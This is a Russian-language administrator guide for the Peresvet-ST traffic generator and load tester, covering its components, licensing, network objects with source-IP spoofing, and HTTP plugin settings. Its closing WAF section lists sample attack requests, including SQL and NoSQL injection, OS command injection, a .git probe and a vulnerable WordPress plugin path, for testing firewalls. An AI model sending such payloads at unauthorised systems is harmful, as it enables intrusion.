Руководство администратора
Руководство администратора доступно в 2-х форматах: PDF и Markdown. На данной странице доступны оба варианта
Скачать руководство администратора в PDF:
Компоненты ПО Агента Пересвет-СТ
Программное обеспечение Агента Пересвет-СТ представляет собой комплексное решение для проведения тестирования, эмуляции сети и работы приложений.
ПО Пересвет-СТ состоит из следующих компонентов (см. Рис. 1):
Состав:
-
peresvet-st-controller - центральный управляющий компонент системы. Контроллер координирует всю логику тестирования - инициирует тесты, контролирует состояние агентов, собирает и обрабатывает статистику.
Функции:
- Принимает команды и параметры от пользователя;
- Управляет работой агента (peresvet-st-agent), передаёт ему параметры для генерации и обработки сетевого трафика;
- Собирает, агрегирует и сохраняет результаты тестирования;
- Взаимодействует с системами хранения и визуализации данных (Postgres, Clickhouse, Grafana).
-
peresvet-st-agent - компонент системы, отвечающий за генерацию и обработку сетевого трафика. Агент непосредственно осуществляет сетевую нагрузку и измерения, руководствуясь полученными инструкциями от контроллера и эмулируя одновременно пользовательский и серверный трафик.
Функции:
- Получает параметры генерации трафика от контроллера;
- Использует специализированные сетевые стеки (DPDK (библиотеки)) для генерации и обработки трафика с заданными параметрами;
- Формирует результаты измерений и отправляет их обратно контроллеру.
-
DPDK (библиотеки) - Высокопроизводительные библиотеки сетевого ввода-вывода (I/O), подключаемые к peresvet-st-agent во время компиляции.
Функции: Обеспечивают агенту возможность эффективно отправлять и принимать большие объёмы сетевого трафика, минуя ядро операционной системы для достижения максимальной производительности.
DPDK
- Обязательный компонент итоговой сборки;
- Обеспечивает прямой доступ к сетевым PCI-устройствам и высокопроизводительный сетевой ввод-вывод.
-
Postgres - реляционная база данных для хранения структурированных данных тестирования, таких как параметры запусков и метаданные тестов.
-
Clickhouse - колоночная СУБД, оптимизированная для хранения и оперативного анализа больших объёмов телеметрических данных и результатов тестирования.
-
Grafana - система визуализации и анализа данных. Предоставляет пользователю удобный web-интерфейс для просмотра графиков, метрик и анализа результатов испытаний.
-
Docker / Docker-compose - система контейнеризации и оркестрации сервисов. Позволяет развернуть компоненты системы Clickhouse, Postgres, в виде контейнеров.

Рис. 1 – Схема компонентов ПО Пересвет-СТ
Веб-интерфейс Пересвет-СТ
Для настройки Пересвет-СТ необходимо обратиться по протоколу HTTP на назначенный управляющий интерфейс IP-адреса по порту 8080.
При входе в Пересвет-СТ администратор попадает на главную страницу.
На главной странице пользователю доступны следующие разделы:
- Задачи – предназначена для генерации трафика. В данном разделе представлены задачи, что позволяют использовать различные профили генерации трафика;
- Агенты и сети – предназначена для настройки параметров агентов и объектов, которые будут использоваться в профилях генерации трафика;
- Пользователи – предназначена для настройки пользователей, которые относятся к настройкам Пересвет-СТ.
Раздел «Задачи»
Раздел «Задачи» является центральным рабочим пространством Пересвет-СТ и предназначен для управления задачами генерации и обработки сетевого трафика.
Страница отображает список всех созданных задач в виде таблицы со следующими столбцами:
| Столбец | Описание |
|---|---|
| ID | Уникальный числовой идентификатор задачи |
| Издатель | Пользователь (e-mail и ID), создавший задачу |
| Статус | Текущее состояние задачи: «Завершена» (зелёная галочка) или иное |
| Запущена | Дата и время запуска задачи |
| Завершена | Дата и время завершения задачи |
| Создана | Дата и время создания задачи |
| Посл. изменения | Дата и время последнего изменения задачи |
В правой части каждой строки расположены кнопки действий: просмотр (иконка глаза) и удаление (иконка корзины).
В верхней части страницы доступны:
- строка поиска «Поиск по всем задачам» для быстрой фильтрации;
- кнопка «+ Новая задача» для создания новой задачи генерации трафика.
В нижней части страницы расположена навигация по страницам с указанием общего числа записей и текущей страницы. Количество отображаемых записей на странице настраивается (по умолчанию 10).
Страница задачи
При нажатии на иконку просмотра (иконка глаза) в строке задачи открывается страница конкретной задачи. В заголовке отображается её номер (например, Задача #1915) и текущий статус (например, «Завершена»). В правом верхнем углу расположена кнопка «Запустить задачу» для повторного запуска.
Страница задачи содержит пять вкладок:
| Вкладка | Описание |
|---|---|
| Data Plane | Настройки и результаты плоскости данных — параметры генерации трафика, статистика по пакетам и потокам |
| Control Plane | Настройки и результаты плоскости управления — протоколы маршрутизации (BGP, ISIS, OSPF и др.) |
| Схема | Визуальная схема топологии тестирования |
| Метрики | Графики и числовые показатели выполнения задачи |
| Логи | Журнал выполнения задачи с возможностью фильтрации и поиска |
Вкладка «Логи»
Вкладка «Логи» отображает журнал выполнения задачи и предназначена для диагностики и анализа хода тестирования. Содержит блок «Логи выполнения» со следующими элементами управления:
- Поиск по логам — текстовая строка для фильтрации записей по содержимому;
- Агенты — выпадающий список для фильтрации логов по конкретному агенту;
- Уровень логирования — выпадающий список для фильтрации по уровню важности записей. Доступны три значения:
- Все уровни — отображаются все записи журнала;
- Ошибки — отображаются только записи об ошибках выполнения;
- Инфо — отображаются только информационные сообщения.
В правом верхнем углу блока расположены вспомогательные кнопки: скачать лог (иконка загрузки), копировать в буфер (иконка копирования), прокрутить вверх, прокрутить вниз, а также чекбокс «Автопрокрутка» — при включении область логов автоматически прокручивается к последней записи в режиме реального времени.
Если логи ещё не сформированы или задача не генерировала записей, отображается сообщение «Логи пока отсутствуют».
Настройка «Агенты и сети»
Вкладка «Агенты и сети" предназначена для конфигурации параметров агентов и объектов, необходимых для создания заданий по генерации трафика.
Агенты
Агент — это программно-аппаратное средство, генерирующее трафик по заданным параметрам, и может быть представлен в виде сервера или виртуальной машины.
Первичная смена пароля
Пройдя первую аутентификацию в веб-интерфейсе Пересвет-СТ администратору будет предложено сменить текущий пароль. Для смены пароля необходимо ввести новый пароль в поля «Пароль» и «Подтверждение пароля» (см. Рис. 2).

Рис. 2 - Окно со сменой пароля
Добавление лицензии для агента
Для добавления лицензии на агент необходимо следующее:
-
Перейти во вкладку Агент и сети → Агенты;
-
Найти нужный агент и нажать на кнопку
мета-данные агента в строке нужного агента и выбрать окно «Сведения»; -
Откроется окно с метаданными агента (пример представлен на Рис. 3). В этом окне необходимо скопировать HWID агента;

Рис. 3 — Окно с мета-данными агента
-
Далее необходимо направить электронное письмо с HWID агента на почту support@peresvet.it с указанием юридического лица и контактных данных;
-
Далее в ответ на письмо с HWID агента будет передан файл с лицензией;
-
Для того, чтобы загрузить лицензию необходимо нажать на кнопку
мета-данные агента в строке нужного агента и выбрать окно «Загрузить лицензию»; -
Далее нажмите на кнопку «Просмотр файлов» и выберите файл лицензии в окне поиска файлов или перетащите в файл в область, выделенную пунктиром;
-
После загрузки файла с лицензией в контроллер, нажмите кнопку «Загрузить на агента»;
-
После этого закрыть и снова открыть окно сведения и убедится, что лицензия соответствует продуктам, датам начала и окончания действий, пропускной способности.
Сети
Данный раздел необходим для создания объектов, которые будут использоваться в профилях генерации трафика.
Объекты сети делятся на 2 типа:
-
Отправитель - данный объект будет использоваться в плагинах генерации трафика как «Отправитель».
-
Получатель - данный объект будет использоваться в плагинах генерации трафика как «Получатель».
Объект типа отправитель делится на 2 типа:
-
Выключенный спуффинг по паттерну - данный объект будет использоваться в Stateful плагинах.
-
Включенный спуффинг по паттерну - данный объект будет использоваться в Stateless плагинах.
Добавление сети типа «отправителя» для Stateful плагинов
Для того, чтобы создать объект типа «отправитель» для Stateful плагинов необходимо:
-
Перейти в раздел Агент и сети → Сети;
-
Далее нажать на кнопку «+ Создать сеть» (см. Рис. 4);

Рис. 4 — Вкладка «Сети»
-
Заполнить поля, описание которых находится в Табл. 3;
Табл. 3 — Поля для создания объекта типа «отправитель» для Stateful плагина
| Название | Описание | Значение |
|---|---|---|
| Название сети | Название объекта, которое будет использоваться в настройках плагинов | Заполнить название сети |
| Тип сети | Отправитель – данный объект будет использоваться в плагинах генерации трафика как «отправитель». Получатель – данный объект будет использоваться в плагинах генерации трафика как «получатель». | Отправитель |
| Спуфинг по паттерну | Включение генерации IP-адресов по определенному паттерну, указанному в следующем поле. | Выключен (например, если включить: паттерн 10.10.10.-190 / для IPv6 2001:db8:10:10::-190) |
| Подсеть | IP-адреса из данной подсети будут использоваться в качестве «отправителя» при отправлении пакета. | IPv4: 10.10.10.0/24 / IPv6: 2001:db8:10:10::/64 |
| Исключенные адреса | Для вышеуказанной подсети Пересвет-СТ предложит выбрать адреса, которые будут исключаться при отправке пакетов (необходимо выбрать занятые другими устройствами адреса, чтобы избежать перезаписи ARP-таблиц). | IPv4: 10.10.10.1, 10.10.10.2, 10.10.10.100 / IPv6: 2001:db8:10:10::1, 2001:db8:10:10::2, 2001:db8:10:10::100 |
| Шлюз | IP-адрес устройства, которое будет использоваться для соединения подсети, указанной выше, и той, что будет указана в рамках плагина в качестве «получателя», обеспечивая передачу данных между ними. | IPv4: 10.10.10.1 / IPv6: 2001:db8:10:10::1 |
-
Далее, для создания сети необходимо нажать на кнопку «Применить»;
Добавление сети типа «отправителя» для Stateless плагинов
Для того, чтобы создать объект типа «отправитель» для Stateless плагинов необходимо:
-
Перейти в раздел Агент и сети → Сети;
-
Далее нажать на кнопку «+ Создать сеть» (см. Рис. 4);
-
Заполнить поля, описание которых находится в Табл. 4;
Табл. 4 — Поля для создания объекта типа «отправитель» для Stateless плагина
| Название | Описание | Значение |
|---|---|---|
| Название сети | Название объекта, которое будет использоваться в настройках плагинов | Заполнить название сети |
| Тип сети | Отправитель – данный объект будет использоваться в плагинах генерации трафика как «отправитель» Получатель – данный объект будет использоваться в плагинах генерации трафика как «Получатель» | Отправитель |
| Спуфинг по паттерну | Включение генерации IP-адресов по определенному паттерну, указанному в следующем поле. | Тумблер включен |
| Паттерн | Паттерн, по которому будут генерироваться IP-адреса, которые будут использоваться в качестве «отправителя» при отправлении пакета. | Заполните поле в формате Х.*.*.*, где Х – Этот октет всегда должен быть числом. В контексте IPv4 это число должно находиться в диапазоне от 0 до 255. Например, допустимыми значениями могут быть 0, 1, 2, ..., 255. Остальные три октета (*.*.*): Каждый из этих октетов может быть либо числом в диапазоне от 0 до 255, либо символом *, который обозначает, что в этом месте может находиться любое число от 0 до 255. Пример: 192.*.*.* — первый октет фиксирован (192), остальные могут быть любыми числами от 0 до 255. 10.0.*.* — первый октет фиксирован (10), второй фиксирован (0), а третий и четвертый могут принимать любые значения. 172.16.5.100 — конкретный IP-адрес, где все октеты заданы числами. |
| Адрес сервера | IP-адрес с которого агент будет обмениваются информацией о своих IP и MAC-адресах. | Укажите IP-адрес (например, 10.10.10.2) |
| Шлюз | IP-адрес устройства, которое будет использоваться для соединения подсети, указанной выше, и той, что будет указана в рамках плагина в качестве «получателя», обеспечивая передачу данных между ними. | Укажите IP-адрес (например, 10.10.10.1) |
-
Далее, для создания сети необходимо нажать на кнопку «Применить».
Добавление сети типа «получателя»
Для того, чтобы создать объект типа «получатель» необходимо:
-
Перейти в раздел Агент и сети → Сети;
-
Далее нажать на кнопку «+ Создать сеть» (см. Рис. 4);
-
Заполнить поля, описание которых находится в Табл. 5;
Табл. 5 — Поля для создания объекта типа «получатель»
| Название | Описание | Значение |
|---|---|---|
| Название сети | Название обьекта, которое будет использоваться в настройках плагинов | Заполнить название сети |
| Тип сети | Отправитель – данный объект будет использоваться в плагинах генерации трафика как «отправитель» Получатель – данный объект будет использоваться в плагинах генерации трафика как «Получатель» | Получатель |
| Подсеть | IP-адреса из данной подсети будут использоваться в качестве «получателя» при отправлении пакета. | Заполните поле в формате CIDR (например, 10.10.10.10 или 10.10.10.0/24) |
| Исключенные адреса | Для вышеуказанной подсети Пересвет-СТ предложит выбрать адреса, которые будут исключаться при отправке пакетов | выберите адреса из списка |
| Порты | Поле «Порты» отвечает за указание конкретных сетевых портов, через которые будет происходить обмен данными в рамках данной сети или подключения. | Перечислите числовые порты (например, 80 или 80,81,82 и тд.) |
-
Далее, для создания сети необходимо нажать на кнопку «Применить».
MAC-адреса
Данный раздел необходим для создания объектов, которые будут использоваться в профилях генерации трафика.
Объекты сети делятся на 2 типа:
-
Отправитель - данный объект будет использоваться в плагинах генерации трафика как «Отправитель».
-
Получатель - данный объект будет использоваться в плагинах генерации трафика как «Получатель».
Добавление MAC-адреса типа «отправителя»
Для того, чтобы создать объект типа «отправителя» необходимо:
-
Перейти в раздел Агент и сети → MAC-адреса;
-
Далее нажать на кнопку «+ Создать MAC-адрес» (см. Рис. 5);

Рис. 5 — Вкладка «MAC-адреса»
-
Заполнить поля, описание которых находится в Табл. 6;
Табл. 6 — Поля для создания объекта «MAC-адреса» типа «отправитель»
| Название | Описание | Значение |
|---|---|---|
| Название MAC-адреса | Название обьекта, которое будет использоваться в настройках плагинов | Заполнить название MAC-адреса |
| Тип MAC-адреса | Отправитель – данный объект будет использоваться в плагинах генерации трафика как «отправитель» Получатель – данный объект будет использоваться в плагинах генерации трафика как «Получатель» | Отправитель |
| MAC-адрес | Значение MAC-адреса, которое будет использоваться в качестве «отправителя» при отправлении пакета. | В это поле вводится значение MAC-адреса устройства в стандартном формате (например, AB:CD:EF:12:34:56) |
Добавление MAC-адреса типа «получателя»
Для того, чтобы создать объект типа «получателя» необходимо:
-
Перейти в раздел Агент и сети → MAC-адреса;
-
Далее нажать на кнопку «+ Создать MAC-адрес» (см. Рис. 5);
-
Заполнить поля, описание которых находится в Табл. 7.
Табл. 7 — Поля для создания объекта «MAC-адреса» типа «отправитель»
| Название | Описание | Значение |
|---|---|---|
| Название MAC-адреса | Название обьекта, которое будет использоваться в настройках плагинов | Заполнить название MAC-адреса |
| Тип MAC-адреса | Отправитель – данный объект будет использоваться в плагинах генерации трафика как «отправитель» Получатель – данный объект будет использоваться в плагинах генерации трафика как «Получатель» | Получатель |
| MAC-адрес | Значение MAC-адреса, которое будет использоваться в качестве «отправителя» при отправлении пакета. | В это поле вводится значение MAC-адреса устройства в стандартном формате (например, AB:CD:EF:12:34:56) |
SSL-сертификаты
Для того, чтобы создать объект типа "SSL-сертификат" необходимо:
-
Перейти в раздел Агент и сети → SSL-сертификаты;
-
Далее нажать на кнопку «+ Добавить Сертификат» (см. Рис. 6);

Рис. 6 — Вкладка «SSL-сертификаты»
-
Заполнить поля, описание которых находится в Табл. 8.
Табл. 8 — Поля для создания объекта «SSL-сертификат»
| Название | Описание | Значение |
|---|---|---|
| Название SSL-сертификата | Название обьекта, которое будет использоваться в настройках плагинов | Заполнить название SSL-сертификата |
| Публичный ключ | Публичный ключ – открытая часть ключевой пары, используется для шифрования данных и проверки цифровой подписи | Заполните поля согласно вашему сертификату |
| Приватный ключ | Приватный ключ — секретная часть ключевой пары, используется для расшифровки данных и создания цифровой подписи. | Заполните поля согласно вашему сертификату |
Настройка «Задачи»
Задачи — это инструменты для генерации трафика с использованием различных плагинов.
Концепция задач и плагинов
В Пересвет-СТ каждый отдельный поток трафика представлен отдельным плагином. Плагин — это самостоятельная единица генерации или обработки трафика определённого типа (HTTP, WAF, DNS, UDP Flood и т.д.) со своими настройками: источником, целью, параметрами протоколов, интенсивностью и длительностью. Каждый плагин решает свою «мини-задачу» — например, генерирует HTTP-запросы к веб-серверу, отправляет DNS-запросы или создаёт UDP-нагрузку.
Задача — это набор таких плагинов, объединённых в единый сценарий тестирования. При создании задачи пользователь добавляет один или несколько плагинов, каждый из которых формирует независимый поток трафика со своими параметрами. Таким образом:
- Плагин - один поток трафика определённого типа с индивидуальными настройками по генерации или измерению конкретного вида трафика;
- Задача - совокупность плагинов, которые запускаются совместно и формируют комплексный сценарий нагрузочного тестирования.
Такая архитектура позволяет в рамках одной задачи одновременно генерировать разнородный трафик — например, комбинировать HTTP-нагрузку с DNS-запросами и UDP-потоком, моделируя реалистичный сетевой профиль. Каждый плагин в задаче настраивается независимо: можно назначить разные агенты, сетевые интерфейсы, интенсивность и длительность для каждого потока.
Для настройки Пересвет-СТ для проведения генерации трафика необходимо:
-
Используя любой веб-браузер, подключиться к веб-интерфейсу Пересвет-СТ;
-
Перейти в раздел Задачи → Новая Задача (Рис. 7);

Рис. 7 – Переход в раздел Задачи»
- Настроить конфигурацию плагинов.
Плагин – инструмент, предназначенный для выбора типа определенного генерируемого трафика как для отправки, так и для приема трафика.
Настройка плагина Клиентской конфигурации
HTTP
HTTP – плагин для генерации различного веб-трафика.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 9;
Табл. 9 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
- Цели - параметры для выбора объекта, в который будет направляться трафик (см .заголовок «Сети»), описание которых указаны в Табл. 10;
Табл. 10 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) - параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 11;
Табл. 11 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
- TCP заголовок (L4) - параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 12;
Табл. 12 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
- Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 13;
Табл. 13 – Параметры «Параметры HTTP»
| Название | Описание | Значение |
|---|---|---|
| HTTPs | Указывает, используется ли защищенный протокол передачи данных HTTPS | Да / Нет (укажите текущее состояние переключателем тумблера) |
| Версия TLS | Версия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером (Параметр доступен, если параметр HTTPs включен) | выберите значение TLS v1.2 или TLS v1.3 |
| Версия HTTP | Указывает версию протокола HTTP, используемую для передачи данных. | выберите значение HTTP 1.1 или HTTP 2.0 |
| User-Agent | Заголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос. | Введите значение заголовка: по умолчанию, значением заговолка является: «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36» ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе |
| Путь | Указывает путь к запрашиваемому ресурсу на сервере. Это часть URL, которая следует за доменным именем. | Введите значение пути (по умолчанию, значение пути является корневая директория сервера: «/») |
| HTTP метод | Метод, используемый для запроса ресурса на сервере. | выберите из следующего списка: GET POST PUT PATCH DELETE |
| HTTP статус | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы содержащие код ответа 3ХХ будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «location» | Включить/выключить тумблер |
| HTML Meta Refresh | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы, содержащие в ответе HTML страницу с meta-тегом «refresh» будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «content», включая задержку | Включить/выключить тумблер |
| Глубина | Значение максимально допустимого количества переадресаций в рамках одной TCP сессии | Задайте свое значение (по умолчанию, значение равно «20») |
| Query параметры | Параметры, передаваемые в URL после знака вопроса (?) | Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение; ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}); ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}); ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}); ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}); ${email} - Формирует валидный email со случайным именем пользователя и доменом; ${login} - Формирует валидный логин пользователя; ${password}- Формирует валидный пароль пользователя. |
| Тело запроса | Часть HTTP-запроса, содержащая данные, которые клиент отправляет серверу (например, форму или JSON). Параметр доступен если выбраны методы: POST, PUT или PATCH | Заполните поле «тело запроса» следующим образом: Введите значение тело запроса ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
| Заголовки | Дополнительные метаданные, отправляемые вместе с HTTP-запросом. | Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
- Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указано в Табл. 14;
Табл. 14 – Параметры «Параметры сессии»
| Название | Описание | Значение |
|---|---|---|
| Общее количество сессий | Максимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина. | Задайте числовое значение |
| Тайм-аут повторного подключения | Время в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта. | Задайте числовое значение |
| Подключений в секунду | Максимальное количество новых сессий, которые могут быть установлены за одну секунду. | Задайте числовое значение |
| Макс. стримов (на сессию) | Максимальное количество потоков данных, которые могут быть активны в одной сессии. Параметр доступен только при включении H2 в «Параметрах HTTP». | Задайте числовое значение |
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Запросов в секунду (на сессию) | Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима. | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 15.
Табл. 15 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберите величину (в секундах, минутах или часах) |
WAF
WAF – плагин для генерации различного веб-трафика с заданными уязвимостями.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 16;
Табл. 16 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
- Цели - параметры для выбора объекта, в который будет направляться трафик (см .заголовок «Сети»), описание которых указаны в Табл. 17;
Табл. 17 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) - параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 18;
Табл. 18 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 19;
Табл. 19 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 20;
Табл. 20 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
- Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 21;
Табл. 21 – Параметры «Параметры HTTP»
| Название | Описание | Значение |
|---|---|---|
| HTTPs | Указывает, используется ли защищенный протокол передачи данных HTTPS | Да / Нет (укажите текущее состояние переключателем тумблера) |
| Версия TLS | Версия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером (Параметр доступен, если параметр HTTPs включен) | выберите значение TLS v1.2 или TLS v1.3 |
| Версия HTTP | Указывает версию протокола HTTP, используемую для передачи данных. | выберите значение HTTP 1.1 или HTTP 2.0 |
| User-Agent | Заголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос. | Введите значение заголовка: по умолчанию, значением заговолка является: «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36» ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе |
- WAF модули – готовые вредоносные запросы, состоящие из следующих видов тестирования:
Базовое тестирование WAF, описание приведено в Табл. 22
Табл. 22 – Параметры «Базовое тестирование WAF»
| Название | Описание | Значение |
|---|---|---|
| Broken Access Control | Запрос на запрещенный путь | (GET /admin/delete\_user?id=1) |
| Injection URL (SQLi) | SQL в URL | ?id=1+union+select+1,2,3-- |
| Injection JSON (SOLi) | SQL в JSON | ({“user”: {“$ne”: null}}) |
| Injection (Command) | OS Command | (GET /?id=system(cd /var/jet && make &\> /dev/null);) |
| Insecure Desing | JSON логика | ({“action”: “makeAdmin”, “user”: “guest”}) |
| Security Misconfig | Запрос на .git | (Get /.git/config) |
| Outdated Components | Уязвимый плагин WP | GET /wp-content/plugins/revslider/temp/update\_extract/revslider/ |
| Auth Failures | С подделкой токена | (Cookie: auth\_token=invalid) |
| Data Integrity | Фейковый JS | (GET /cdn/js/app.js?v=999999999) |
